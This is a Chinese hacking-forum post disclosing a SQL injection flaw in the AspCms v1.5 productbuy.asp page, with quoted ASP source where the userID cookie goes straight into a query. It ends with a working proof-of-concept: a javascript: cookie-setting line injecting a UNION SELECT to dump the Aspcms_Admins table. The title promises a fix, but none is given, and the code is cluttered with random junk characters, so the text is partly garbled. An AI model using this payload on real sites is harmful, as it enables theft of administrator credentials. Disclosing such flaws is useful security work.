AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
7 j: _& ^+ @* l也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
2 w, f: _9 x7 `
<%

7 z: ?# X2 T* r8 o8 M' dif action = "buy" then

        addOrder()
, Q) p' _/ b" R( R6 L: Q& c
$ b: F" v" E, h1 {* ?6 |8 `/ xelse

4 ]" g0 M* j1 g( e' S- l; j7 B) `        echoContent()

4 k9 T- b# L# d3 V# f! L  s* qend if


1 g9 p6 ~+ C6 M& ?% }
……略过
9 ?1 S8 a+ [8 z1 |1 C, B9 f5 D! W
4 b9 a$ \/ {9 |) @# X

Sub echoContent()
' m8 a- B2 ~# D- l) t1 X
        dim id
! P3 a- h; d; j1 O. u' g
, z3 R: B6 K  [5 P: v        id=getForm("id","get")
) S, H6 H1 a* t: `$ m% [# x
7 e9 ~. c/ T. z4 G5 k4 G        
. L# R0 ?: z$ Y6 h; `4 P( p( |3 m
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
2 i! X+ M6 _, p' I) P( O
        
* }+ ^- {. |) P" d
2 p8 @; P2 V/ w: N8 J! M  u        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
# r, L; U  s# E, }, w6 g& D, ^
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr
6 y* j/ V  ~' a' j$ }
. a9 ?6 k! Q4 n, D& r1 D        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"



        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

8 h0 @, G& @+ K: q        selectproduct=rsObj(0)

! o3 u. X4 [% V5 y; M+ u+ a        
1 b# t1 E8 U" L) Z
' o- ^4 `& |+ `0 t$ Z# _        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
9 k, r7 e! E0 R
( _9 x" \! C' l$ a        if rCookie("loginstatus")=1 then  
8 |8 W( O0 W/ J& H( z
* }7 o# [  I( a  B9 r                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
$ X  N# M! R3 w4 z+ C& H
6 @9 b$ |: A, G6 L9 u5 A+ o6 q( k! |5 @                linkman=rsObj("truename")

                gender=rsObj("gender")

                phone=rsObj("phone")

+ y+ V# l: C+ ^& o  M                mobile=rsObj("mobile")

                email=rsObj("email")

                qq=rsObj("qq")

6 b* F% v: N* o3 V7 C                address=rsObj("address")
& ~3 ?+ l, F* z
                postcode=rsObj("postcode")

        else

" U8 d" g* C* R1 S  t& H                gender=1

        end if
! `, H' n( F' u7 e1 t
        rsObj.close()

               

        with templateObj

8 K# a1 i$ a% J& |* t# W7 |4 Y                .content=loadFile(templatePath)        

7 ?  R8 X7 O' X" S3 [) _                .parseHtml()

; H1 e0 d1 |$ X5 Y7 s                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
, y, W8 t9 M4 G( v& K2 z) b
$ Q' f0 D. {9 `9 O: E* g+ q                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
7 W" O6 E7 V: W0 v
8 T- }: O' d. |1 q! r3 K0 H                .content=replaceStr(.content,"[aspcms:gender]",gender)               
& n* x+ U& ~! y: D
. n, _* S5 r, X4 `, e1 x                .content=replaceStr(.content,"[aspcms:phone]",phone)               

9 l4 ~+ k, Q8 m/ O+ z2 J* @# q7 Q                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

% }- h$ o/ c+ E- w' I- V' ~                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
1 f: y3 }+ j2 ]. _  f- S7 e$ P
, {5 F4 o% |& Z: K4 n% i1 Z                .content=replaceStr(.content,"[aspcms:address]",address)                        
& Q/ \- |9 K; G7 b9 o. c" h6 Z( y* p
! \2 h8 i. h: V; s/ e) G                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
6 P! i2 K4 q  p+ B
; N" |5 R) U- `& N. y                .parseCommon()                 
2 a: `' y- }! k' m% a4 {
' s3 {9 e; }7 R, l) @6 `                echo .content
! _) J( ]7 t0 ^+ I' t
3 q; a2 e: S9 Z        end with
. s' d( A4 t7 ]; m9 L5 D" X' |
        set templateobj =nothing : terminateAllObjects
1 p) f) S1 N; }  F
/ P" ]2 X6 e5 L. J2 p  u* r1 }End Sub
漏洞很明显，没啥好说的
" t. Y! _, o5 e! M+ [4 x% rpoc：

+ n: M3 F5 m  {- n% o  Z. y( Gjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
  o( v7 k! Y+ L8 Z: B! X